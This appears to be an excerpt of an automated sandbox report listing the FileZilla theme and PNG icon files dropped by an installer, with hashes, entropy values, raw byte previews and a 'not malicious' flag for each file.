SSDEEP:	6:TMVBd6OjzwgKZTaQmM7LDTrktoHUTUZBQIKe:TMHdtAgwmMXDkyHKABQIh
MD5:	071CFB68143BB24DE6C59139839E99C1
SHA1:	D9BA644DF50DD3AC5FB456329A3E0E267901972D
SHA-256:	D7556C00AEA0E6CA37274EDDEE3DE2A51A0628E5CD6EDFF10AA6065053ED8AD7
SHA-512:	44A2C8ED0FC0B8D7394125ABA09958567E9BDF5E342F1616A16FA35366230F4E1C25778838FF5DF5EB8743346A425CBFD0021C6F7FDD10235207C9B4B757469A
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<FileZilla3><Theme><Name>Cyril</Name><Author>Cyril Burnet</Author><Mail>cyril@techeo.com</Mail><size primary="1">16x16</size></Theme></FileZilla3>.

C:\Program Files (x86)\Fzilla\resources\default\480x480\ascii.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9233
Entropy (8bit):	7.881461091129402
Encrypted:	false
SSDEEP:	192:DjfNACMnpxmSOuyBPQNr6uFF2kp8w4ESSB91C82yg6h:DpACMnPtOFParJFD8wXSePP2m
MD5:	F0AE57C083B3ADA598C3ABB1074D9877
SHA1:	2BB4664A2421A7CB5B623870A7B57EA1F8E332C2
SHA-256:	DD8D6DCE5B232BE9C8AFD5474D67A41C01A8C9C8A24EAD135AA582B04AA3157C
SHA-512:	7DB4156CF7514138E497F9FD50E3D4B14D680259A58FE08493F324C8BF14C7178A70F099E058B76E456173888E87DD006967F91F34DBA22622A6566AFE6D1E96
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLbbbeeehhhiiiggghhhggggggiiihhhggggggfffggghhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhggghhhgggjjjdddggghhhhhhhhhhhhhhhhhhhhhhhhhhhiiihhhjjjppphhhhhhfffgggbbb...hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhggghhhhhhiiihhhggghhhgggiii...iiihhhjjjhhhiiihhh...hhhhhhiiihhhggggggqqqffffffiiiiiigggggghhhhhhhhhhhhhhhhhhgggUUUhhhhhhggghhhhhhgggfffiiihhhhhhfffiiiBBB........................hhh...........................'''^^^GGG.........777[[[ddd.........DDDhhh......;;;___aaaeee...---aaahhheee^^^...@@@eeeZZZJJJiiihhh...\\\ggg;;;...[[[...eee777bbb777fffTTTQQQhhhcccgggWWW```eeeiiiIIIYYYbbbfffPPP^^^cccfffUUU___dddaaahhhNNNfffcccfffjjj111^^^dddXXXeeeTTT)))bbbbbbgggddd[[[RRR[[[WWWcccffffff___TTT555YYYLLLfff\\\^^^eeeaaaccceee```JJJQ.......tRNS..%C[n....^N7..4Q..........h..X....\|KFy.k..U....1......2..t.(...-.f.a.0....d...=...v@.r:i.........H....,.".<..................'.B... o...$?...7.......o!9.qI.....5.y..2.0.\V../f..NEv..S...b...O...$...m.d.....\|Yvi..._+sL......p)...... .IDA

C:\Program Files (x86)\Fzilla\resources\default\480x480\auto.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9389
Entropy (8bit):	7.933343802830352
Encrypted:	false
SSDEEP:	192:Bz+KXMnvd4CxFkzS9OhgtJxqDFCYsKAwQWsVcTgi7rSL3b:Bz+emvOsKB+iDHsb8gXv
MD5:	77269A36DB7A4BFA680F7B013D848A75
SHA1:	CF44D541845FBE939160B4BFB52C08C4C893B27B
SHA-256:	B8485E4E544DA9CFBFE8D3D3960840BFC0A2933905652628C26C5FAB1C1EC2B1
SHA-512:	8328C0016D0F06D75DD752F4F8B2BC0645D4FF8EE1BED71D1C32224D25B630B4AAB8FDA49A5AAB39AADA24502055A4628F67128CB903D2C2F29B2390488638E6
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLggg___MMMeeehhhJJJhhhLLLZZZgggIIIhhhLLLhhhIIIhhhKKK...hhhLLLhhhWWWgggLLLeeehhhKKKhhheeehhhMMMhhh___&&&hhhJJJ---gggLLLhhhhhhKKKgggIIIbbbLLLhhhggghhhKKKgggiiihhhDDDhhhJJJhhhLLLhhhIIIfff]]]\\\......hhh...hhh...hhh000...hhhCCC...HHH...ggg%%%...===...EEEhhhIII.........666...HHHKKK,,,>>>FFFhhh...===......333eeeBBB999LLLHHH...JJJJJJQQQ**FFFGGGbbbaaaCCCYYYXXXLLLLLL....................vvv............ccc...PPPppp.........\|\|\|.............___sss......YYY.........[[[...............;.;,.,R.R%.%...j.j9.9.........l.lQ.Q+.+...P.P.....i.iM.M(.(....I.I...3.3..c.c.....d.d\|.\|V.V..A.AH.Hr.r......4.4...q.q_._..\|.\|].]........B.B.....x.x.....?.?..o.oD.D...w.wW.W...hhhLLL......MMM...............}}}..........................iii...lllUUUyyy.........\.7...ytRNS......8..oA... ..Z+.f....B.~S.......i.{...T...=w....%.`6.........L<..p...2,.].......J...6d..&X..C.wP!.!I.^1.....tm.f.... .IDATx^..ms.U...b..$..M&Y..Y..X..b...B1.....M-Q...}..

C:\Program Files (x86)\Fzilla\resources\default\480x480\binary.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	17611
Entropy (8bit):	7.936027216507175
Encrypted:	false
SSDEEP:	384:9jaNkb3JEsrxVmciLr1RczKgLHt8KQhz7cNE2DvjAROGj:xaGb3JJxVmciLxOzKcN8bwNE2DL2
MD5:	576283CB669678FD8B462745115D8ACF
SHA1:	41A6EB678B25DCFB49401B85C62CE5FFB378BC31
SHA-256:	40C0C7CF55787A53920D4D615AFB93FA6EF9C33EDADF02D14F6483779572B77F
SHA-512:	694330D415B183219E77FE5D2632F0A0AF4F9713A5079ADBB7EB584B6EDD23837E4DFBC7239AD0E36BB5ACF0CAC8F5675A0DD3A8E66A1840BD69720A7031C548
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLeeeiiihhhiiiggghhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhgggiiieeeiiihhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhiiihhhggghhhhhhggghhhggghhhhhhiiigggggghhhgggggghhhiiiggghhhhhhhhhhhhgggfffiiihhhhhhhhhgggggg...gggiiigggggghhhhhhgggiiimmmjjjhhhhhhhhhfffhhh...ggghhhhhhggghhhhhhhhhiiiggghhh\\\hhhhhhgggjjjhhhhhhhhhhhhhhhiiifffgggfffggglllhhhfffiiihhhmmmddd......///...fff>>>......^^^...^^^...HHH...fff......VVV...eee......fff```...YYY......333DDD...WWWggg......FFFgggbbb^^^......fff......gggMMM.........___...777eee;;;111fffeee\\\[[[dddYYYddd[[[[[[cccggg^^^MMMggg```AAAgggQQQKKKTTTYYY...RRR\\\,,,aaaddd...ccc...___gggUUUaaaKKKeee]]]UUUbbbMMM___HHHbbbZZZXXX___SSSbbbNNNccc@@@999hhh$$$aaaYYYhhhBBBgggQQQgggeeefffbbbcccfffddddddddd888<<<```NNNbbbVVVTTTaaaSSSVVV\\\]]]]]]ddd@@@&&&```?.......tRNS..Af...........lI..4Z........vU(?c....oW..C...{0.R...i.\..}...=.s$.........2_.9@.!F......7.:+.y...y.....aM....(..9..c...F....h......s../?.k..!B.....o...O.....3.4,..x.o.v\|

C:\Program Files (x86)\Fzilla\resources\default\480x480\bookmark.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6177
Entropy (8bit):	7.856036382675507
Encrypted:	false
SSDEEP:	96:ye/4ihfUP7mqvKRocYrUkA4YbINqeYF8+8fGRIFMkuHpZWvUAjVMj/zCWaUFfQ0q:ye/Hfxx4rqnEweXfQkM/DiMC29QbL
MD5:	869CCAD7537A629A0E507D45E23C4C2F
SHA1:	6E57C27539852ED695228A7EAFFC075C226070FD
SHA-256:	60C7FF5130DC558BFFAC45C9041E161F1EBA7DF449F3A0D083D977CD694309D5
SHA-512:	3F5C42DF0A0DD3F211C00D0751A648AD217367431CFCDCF73998D788F0CEC1C07E0A0567AD06DFE77908D1BAD31306BA5326B05E340C1B2D2D5D63C6753B3C20
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.............................................................................................................................................................................................................................................C3..................UA............J4................1#.............................................................................................................................................x...............t....p................i.......d........xZ........lO.....bH...................._..........rT....................................................\|...................b.i....tRNS..8D4..o.....`.U..@..........hL.1....t'.....*......$.........".......{......z...!......%....#..{.v..r..pm.j...wg.d..a.m]...YdV.S..R.[P.X.J.S.PD.KB.H.<....;9.7...3.3..0.-.-...)..'....Gf]/..M+......^F.:..n_=.C?..fY..[a....lIDATx...a...D.5.{f13s..).S~_oz..n..............E1.....v....x.......

C:\Program Files (x86)\Fzilla\resources\default\480x480\bookmarks.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4325
Entropy (8bit):	7.701829753187855
Encrypted:	false
SSDEEP:	96:r6QXy1Uq60LlFFlIBJjj5ppJSPNSGb80s5BA03Jr4F:WIy1UkqBJ9p+Fjs5BJJg
MD5:	AE88AA83EC926781DF9EC47CB8EA8AA0
SHA1:	F94247D50771002911698C594130CC8401DE2566
SHA-256:	F41C7079C17E20FB6C47E5A4B0C5F0884C85322EE338E2C5041BE3ED550BDF88
SHA-512:	FED9206744BEBB9D9BCC90D1D67B4ACC8C937031B386722891B76C3260F0735EB106DAA54E00F65D85D0432286605426AA33C26E730AF0A975A9063EC5C539B6
Malicious:	false
Preview:	.PNG........IHDR.............J.N....4PLTEGpL..............................................#........................................._.......~....qT...E4...................................................................@..n..F........C..k.....g..\.....Y..#........%....I....................=....:....5....7....3../..-....).....+............. .................................~..z..............w..v..s.....c..a.....V...........N........^.....R..M.........................................................................."..jQ.........\G......tRNS..Fw............m..&9....X.M......#./..W#..N.,z"V...................................................................................................................yG.mz...8NL_....)...\.......IDATx.....,Q......23c..>._.D>-X.........................I..E./).J.VO.....v..Q..W.....\|...^..._4.w..k.....=...3../.%...R.....jj....G`......Q.F...;aYSC6.~...%...0+..Dn..\.O.FH..!

C:\Program Files (x86)\Fzilla\resources\default\480x480\cancel.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7569
Entropy (8bit):	7.902362167336274
Encrypted:	false
SSDEEP:	192:pUN4iI5AyLVl1RoaYWlmGSAGe2YgEiGsSVIqaiLZJZri7hEQ7lZ:WN4ttPfXSe2YtiLSMiLZJZrSEQX
MD5:	4C2C126F11CE45B698336B49B24F8AFE
SHA1:	7CD96F7E9A6FD3CA36336764ECDFE8A317590D1D
SHA-256:	314D5EC0DBEA36C3B37D48438E7BDD50178811B7BA04E46F438873DE3A5C1FE0
SHA-512:	5AB9E12DBA7ECA3D9BF63C7DEF45427040DC39938606555F8D3D47A06750CF8E3808099581C99C3A059F6874028A646E18B3F56DC179533FC7C3F6ED0557AEAD
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL..!."%.!'..'. %. %. &. %..&..&..&. &. &. &. &. &..&. &. &. %. &. %..%..).,,.!&..&. %. &. &. &..&. &. &..%.....&. &..&. &. &. &..&. &. &..&.!&..&. &. &. &.!%,....%..&..&. %..'. &. $8...&&..&. &. &. %.!&. &. &. &. &..(. &z.... ...`........S........u.....m.....'.............................z.....n.....L.................p..\.....0..}..k..D...........g..w........V..................................................d...(..bf.......9?.........FK....\a.......-3.........4:.AF......$*.ps.tx.........39............\|.....KP...69...........;=u...........-0.W\....... ...uv.#&;........mq........qs...........jl.14......df...........+....-/y..........v....s..............~.....\|~.y{...fg._a....LP.EG...PR...............),.Z\.........\....$k..k<.@....tRNS....AXi}............{T?+..%Gf.....a.2^......(.Do..wM....!....[..7<....;..B..7..0.'.".........u.W.2....[>.%.R....Kk..:................G...................................{....

C:\Program Files (x86)\Fzilla\resources\default\480x480\close.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	4748
Entropy (8bit):	7.604863604758853
Encrypted:	false
SSDEEP:	96:8z3MZ2L0h4gMbBwYEwQNoOiiN/IgEpYbJRH4x5rbroocK3L9:MMZ2WkwYauil/bJRUKc
MD5:	96803292CBF69CB363327370B4646C95
SHA1:	55A3B18772C69D7256F015972711EBF9442A442E
SHA-256:	45C5391E3C1A2156846C742EE2DBC7779B3D3F498E7BAB7DE4F1D82086462F93
SHA-512:	03720A293732106F0AEF36672AA3A1F25BE59D2D179FC6587716AFD6C5691FC60FCE58E44804A60AF1419072D371292B3E68CFE63B63D93C118EE2D1A7E7B057
Malicious:	false
Preview:	.PNG........IHDR...............v....SIDATx...1.....@...D ..D".%...........................................................NlvumN...]x.$....e.YR../.z4..r....lk.03..3,3333333333I}[..mg.:+2......E...K.F.......9;...)i%.d:~A6.......'........z...uL..G......?.P.....-I!i%Qq.>R...>}_..MfR...Uz..Cg.....3._q....w.sY.jw.+>..q...zQg....r7..k}t.O...1W^..j..o>b.T).e...G.]...WmiM.Lj.v..}..i...).y.....j...5........../............w9...`...[rA..q..4.......m.j}.v......6.......R.+..Q.:..'.;.>.ul..l...L....Haj._..6.4.f$.d&....5A..i../...0\|!l./...a.\|!._....a.B.>_..\\Q....M.0\|!l./...a.\|!._....a.B.0_...W..[....0\|!._...a..&._...0a.B.........S..._..^../...a.n....c.XH.X./....Wm\a./..k.!._...0a.B...H........0\|!._...0a.B........5L........X....0\|!._...0a.B........5L.....a...0\|.../..;...........0\|!._...a....b...I......WD..k.m.3[V'.7...1.6.0..;kKk....NO.Y.B..f{.J.D..M......-;9Q.../.^...[...DG.$...S.../g.m{f..8..}......o.?$..I.(...2.6.0..k...Y....p...d..,P.6.>(a...$.0..o..x._

C:\Program Files (x86)\Fzilla\resources\default\480x480\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	8222
Entropy (8bit):	7.87361971360084
Encrypted:	false
SSDEEP:	192:N5fnCOK9xpodseO7rMQaN0EtFM27XaQkSdg24GDkY:tKvpcsj7AQaNrw27XDVDDkY
MD5:	0B07B1EA2BDE56E41DCBD50E79BD65E3
SHA1:	95CDA38E1F49D3B0E7E2A9A307B325A46E63F030
SHA-256:	7788BEBBA4F6FA835D285950DA618E348642E7479A662C961D9447AAFF1464A9
SHA-512:	89DE464B969E12720C1FE51738EF183EBA81DFD10992A79755CEDB58593834886EDE09E7AD4A815BD42B56B0E654C65A9C84367D16E0345C5A8227927B482E10
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL................................................................SW.39.%+. &...............................4:....<A....!'...qu.............iiiiiiggghhhhhhhhhhhhhhhgggeeehhhhhhgggggghhhhhhhhh......iiihhhhhhfffhhhhhhhhhiiiqqq.....................jjj\|\|\|............ggg.........iiiggg.............hhhkkk............iii...............gggyyy...dddggg...{s\..4...........#..C..{...iii.xW.$......~P....+..kje..E...gggolc..e....@..Esss......................K.................vvv.-.......9...nnnggg...............V}V%.%(.(9.9V.V.....5.5.....\u\?.?..<.<u.u..A.A`q`'.'/./N.N.+.+...eleG.G...NNNSSSXXX\\\___aaadddddd]]]AAA(((UUU...HHH...^^^(((ZZZ.....SSSKKK\\\LLLcccMMMNNNJJJ###@@@EEEKKKXXXKKKB.BBBBKKKCCCIIIBBBKKK...FFFHHHKKK...444.......?@=....tRNS......xI..n..;....k...............................*<Mbs........._...5S.......................g............D...................._................................................................

C:\Program Files (x86)\Fzilla\resources\default\480x480\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4421
Entropy (8bit):	7.652384910388458
Encrypted:	false
SSDEEP:	96:DFhqPKQqMp33g8q2AhyLWA5yyDfjDZaWYVlab2u:DDqrzfq2Ahgp5yyrJzYVlaiu
MD5:	E7A7E89F12DD8D49F9AFB73EB52E0466
SHA1:	C4B57E0F2B6D286309E4A962C504ABD1A602D971
SHA-256:	BF0F361801F7DD78C748D611DAEB2180D50DBD9E3A284758BC4A5E6F773758D5
SHA-512:	139DF2A8FC3E6331EC5E8A0B3DAEC852A484FF5E59C54A6F72EB0A257432146E56D73AC86C4BC222B5DAF16270A0A910FD3E9B9796485394282151AE93C62EB4
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL......................................................v...... &.....................a......................3................3."&..%..%........%.!&. %. &.")..". &..&.......!&. &.!'S....+..%e...... ......x...............%.........~................1..F........S.... .........N..X.....f.......%@.....\|...........V........\|................&.tw.9=...............BG..........................................jjjhhhLLL...........{{{aaa.........]]]nnnQQQ...mmm....KN...LO...DI. &.)/...%+...\|}...{}..... ...=?...58....\|..f./..)r.....}..i.N..F..6...g........w.....!........u................G..............]a.HL.5:^.. .../4.t..@E.SW...j...tw..-s....{........ttRNS..M.......L.u.sS..Qw.....P.<:.............D......q%..e..y.1+..1..{.d.2.Q..:......$0..7....4.BI..,.{...;..........;v......IDATx^..Gn.Q....I..!D.r...D.x....Sp.N..{B...(.o2.....~W...x...{..uv.v...b.S>~.d.#.J}.)......}.O........yk.....u....:.}:...:.};...`.p....[..8KC.@

C:\Program Files (x86)\Fzilla\resources\default\480x480\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.966572392789165
Encrypted:	false
SSDEEP:	12:6v/70Di0Z1Z1E0+h8tKsssss9U8fYLXL444GXXXXXXXXXXXXXXXXXXXL1xd8xIxd:75u0+oKsssss9U8A58xO6h9q
MD5:	E08B0F6B99714332A5ED3817AF06F694
SHA1:	6DCFCB4253398169E14FA6B6222203371652946C
SHA-256:	4C7A9A59FFDBA87A0C8F25B7032D6B62E078AE31B7BADEB851585FC67998872E
SHA-512:	B30AA63EB040289C9A664401FCAD2853B5168AF4691F1AF252E93BCC52AE6D86E9778FDB1F998853EA45AEA016727882E483880EF0947FF76F7C081F237EA7BC
Malicious:	false
Preview:	.PNG........IHDR....................0PLTEGpL.\|..\|..f..d..;m.......\|..f..v..].....v..\.......R....tRNS.!..!8..w.}........u....IDATx...1.@@....."\|..B...l..w................... ,,,,,,,,,,,,,,,,,,\v...................................................................................................................................................................................................................................C<K~.6./<RG.D..@.._S.>(...h.........HJ..-1......[`@l.........[`@l.........[`@l.........[`@l.........[`@l.........[`@l............13..v..K%..j.v.b...-0 .....[b.l...%.....[b.l...%.....[b.l...%.....[b...-0 ......b...-0 ......b...-0 ......b...-0 ......b.....%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%....tG.D..@...$.................-.S...X.N1..b<..xp......-.

C:\Program Files (x86)\Fzilla\resources\default\480x480\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3371
Entropy (8bit):	7.6085134491908475
Encrypted:	false
SSDEEP:	96:efy3gwNRWWWWWWWWWWWWWWWWWWWWWWWWWW0IVdhbhlCHF1q12V+12mO:841e8iFw912P
MD5:	4446C16BA6D4E7F0DA53623691E4D714
SHA1:	CEC1FA54C27358A438CBCB31E655303D2E50EB7E
SHA-256:	496DA69784B29607A4B6510D8D7CAE7B1615D80EA4472B681F411FBD11CAC444
SHA-512:	2DFD8BA2EACEC82A77D93AB1531A78595A28085AE576B58BB1559EDA112A068FAA7403E1C05023EBA44DFE02073C9EABD3CEAD2758A4F78B445F25483B600DD2
Malicious:	false
Preview:	.PNG........IHDR.............J.N....zPLTEGpL.\|..\|..f..d..;m.......\|..f..v..].......&.&(.(.+.+,.,,.,,.,%.%$.$$.$%.%%.%'.'%.%$.$!.!(.(+.+$.$&.&%.%.\..@.'.'%.%$.$(.(,.,$.$&.&0.0$.$).)$.$ . (.("."$.$%.%,.,%.%$.$%.%,.,$.$.q.(.(...+.+$.$<.<...).)".".q....%.%&.&"."...............................,.,.........-.-,.,$.$!.!$.$.v.+.+.(.(,.,$.$#.#+.+!.!,.,...+.++.+#.#,.,...+.+,.,"."...,.,...,.,,.,,.,#.#,.,+.+"."!.!.i.+.+$.$...k...~tRNS.!..!8..w.}..;p...........`%Q...=.%..w.....a..G1U.I..Y..?4 ....C.S8Z\|k................w....N....._n#..=Rv\|.d.FE...l.z5.../.5....IDATx...Eu...D.2...k.a...B.....O:.IgG.F.4..F.>..F.>..F.>..F.,..F.,..F.,..F.,..F....F.....o.t'....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#....#.........k...5..5..5..5..5..5..5..5..5..5..5.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>.7>..........3........................................................................................

C:\Program Files (x86)\Fzilla\resources\default\480x480\dropdown.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	996
Entropy (8bit):	6.015697154048635
Encrypted:	false
SSDEEP:	24:fO+NEIzCp9zVIwT9SVMB0zT8DYMKn/Z0wUHUd3/VOOUGUsXQ:2+upp7T0Vw0zwDPK/1PVOkXQ
MD5:	77997FF57AF571672F8EFC7EE809142E
SHA1:	C44DD1461D0798FBD721EA58ED53927BE576CD81
SHA-256:	CA23648B2998ADA62394878E0A25D5272B5F45B04D17B670617E9958E37AEC33
SHA-512:	1A9BDCA1F1F9CCB0425E775A2D9EECDBB3EE20ED347DB77DE87F65729FCA53890E20636B1C1B6F6581778A757EE8175B2762264AA80CE5C28A13F4D510B6B1DF
Malicious:	false
Preview:	.PNG........IHDR.............J.N....]PLTE...GGGKKKIIIMMMMMMMMMUUUUUU@@@MMMMMM'''......KKKJJJ............KKKKKKJJJJJJKKKJJJ...KKK.............tRNS..3.............. ..............,.>....IDATx...q.1..@..f...L...F.}ov[..................................................................0....%e.m..zC....k......k.o.._.~..5...t.a......5.._.~k....k.a...~..5.~.a.....k...G..7Lprz6.y.ou.......7....a.....k..._.~..-..k.a......5....;....k.a......5.._.~K....k.a...~..5.._.......k.a.}.~..5.._.~.....k.a.....k.o.._.~..5..._...~..v..5.._.~.....k.a.....k.o._.~..5.._.~;....k.a......k.a.....[0.._.~..-..k.a......5.._.~.....k.a...~..5...a.....k.o._......k.o.....g...~.....k8.._.~...a....>._.~.....k8.._........5.....\~..5..k.._.......5..k.._..........N.5..k8..p....._........N.5..k8..p...._.....}.k8.._........a...~..5..k8.._..........N.5..k8..p...._........N.5..k8..p...._...........................................................J.XN...~......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\default\480x480\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2279
Entropy (8bit):	7.303696157864078
Encrypted:	false
SSDEEP:	48:P3D87OE9aBziTInibcE6662666666McFSmeQ924juiZ+xF:b8aD7s/MuuiZk
MD5:	33774E40279BE08B64BEE8C287258678
SHA1:	0F6349785CE1F4AB0C8E43646DD04E522A720974
SHA-256:	9EC4D7DFDCFD51CB756104BDFF72A974825BD274069CD6DA52C78BE89753B377
SHA-512:	6E31A977C028E472F382C1DEB1E0AF39337FB65E4C7CCBA52BEC2FDA3D5E2E4164375CF59636AD1D1EAC105D2E254B819BB4DAD3482C97D5C43569198124F7EF
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL......................................................................................................................................................................................................................................<<<.........hhh....................................."""...GGG...]]]......BBB...............jjj......lll.........eee........................................................H..2....tRNS..Ex........m..9.;.....L...........J.7..y................................U...".y.,.O..:L...a......$.)..#...Y]$..-.M.+z.V.......................rIDATx....C....p2a.c&...u.QD.wZxZ....t{..pD.....d:.c-...m.^.....vG.....x.O...".C\.......'.e../...._/....d..=.e....5..w.ExI2_....).".I2_...s.p.u..B]..Q..=..i.....%..G..0W.kX\........................................................................................................................,.b Z...#.V..Jn~.y(...........`\|.H...."...4.C..`v...p.K.H...-"....6.....}....m.@

C:\Program Files (x86)\Fzilla\resources\default\480x480\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2731
Entropy (8bit):	7.50303789132687
Encrypted:	false
SSDEEP:	48:ZG1jgqfsNrhWVQRxLvY1SxZZvJVyJQw/fTpHO+4zKdf70VKZG:Z1TNrPxg0TJkNxfQVKE
MD5:	8BA37BA851FAD91B76C7C9B5DDAC18BF
SHA1:	77E44925B19B19247EBCBE16CE0B65BEF533D67B
SHA-256:	5E67131EFFDE188B8C27D92982ECBFE9AAA313D0641243E69DE7EB982A97A782
SHA-512:	A58C01BFE9A4F0B7DB826D739D69A5CDDC57D8FBB890995D659D4A2F740F2C26BF33C8DE84FF1D3B7BC0CC0FABDCAB9BA0F586CCBB0941C7F68A1254264475DE
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL...hhhhhhhhhhhhhhhhhhhhh...iiiggghhhggghhhgggjjjhhhhhhhhhhhhhhh.........................................................LLL...............ttt.................................0..8....o....8..:.........RW.39.#. &.....<A....qu................V.V8.8.%.%......:.:..@.@..u.u.........x..C.."............+..e..........D...................iiihhhjjjttt.........................}..P..0..!...\|............'9`...;tRNS..Gx.......l.9.7:.................x.HV.#..lz.,.8M<a....^:.{mU...rIDATx^...........n..".................................0......2...U.%Uw..%..;............+RM.....`... ...~/..?IF..e!JG.}.[.l]..1}.$e.A.F.K.9;.....(...0........i.B..L.....0.....B..>.!...)..S.,.Y....(..@0K..w....I."A>..R..R.`.b.....ap...<...=.D.,.\k.^.*J.......k[..H.....b.{i.R...v.s.`+....`7A.7......j.c7.O......b,.._W..$.e,...R.......O....n....X...g..b.Ae..stD.X6.f=./.+..30.h.......1d...Pb...g.k....E.-.b##0lmW........SW...K......

C:\Program Files (x86)\Fzilla\resources\default\480x480\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7368
Entropy (8bit):	7.920394518124266
Encrypted:	false
SSDEEP:	192:K33Z5JwtdpEhfl4RqfQS/RDcp6fk1nPX8tRAiCJaiQE:KnZstd6t4QRDsUk98si1E
MD5:	31CB1244F73290719DF3C7538B730AD9
SHA1:	D3AA9CF378BB4FE8B231487EFD0B647BCD3C8A06
SHA-256:	3E1A1E56E1B1B47FD85D83D0071EA146307F49E591A8A2CB8807E7EBAA6C4A18
SHA-512:	9D1FDC85C4AFE39A51C91159C5A518D81B169D1B786FE14128709A6C573391E16DC449F6653D7EF77E7DEDBFAD81EE4C63220189C1296691B58DB87CAAF8D628
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL...MMMJJJKKKKKKKKKLLLLLLLLLLLLLLLLLLKKKNNNLLLKKKKKKMMMLLLLLLLLLJJJKKKLLLLLLKKKJJJKKKKKKNNNcccIII\\\EEEMMMGGGJJJLLLMMMBBB LLL...KKKJJJMMMSSS......%%%...........................---===.........GGG===...OOORRRWWWZZZ]]]___bbbdddfffggghhh:::PPPVVVhhhhhh```ggggggggg```hhhhhheeeXXXggghhhgggggg555fffiiihhhhhhaaaggghhhbbbhhh___hhhggghhhdddhhh^^^fffhhhfffhhhhhhhhhhhhhhhhhhWWW]]]fff\\\cccfffRRR___fffaaa[[[hhhfffhhhWWWiiihhhfffhhhdddhhh^^^fffaaaiih\|t\.~P..E..:...'.!...........{s]kkk.................vY..2."......~uZ..B.).........{S..5.......6.......nke..Fuo`..:xq^.1...yr]..9....$kif..=...........J..H..@........7.zU..../........7..]..}...........................S........?........................ ...............3...}R..q........PKB.....tRNS..(\.........xT-..0...t5...i......AMH..P=.....b..&.........+`....9!...........5..8../..c..o....0#.........^...y....TWo..e....Y..y..@l..K..e..........IDATx......A...sy..YR..-\|...........

C:\Program Files (x86)\Fzilla\resources\default\480x480\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
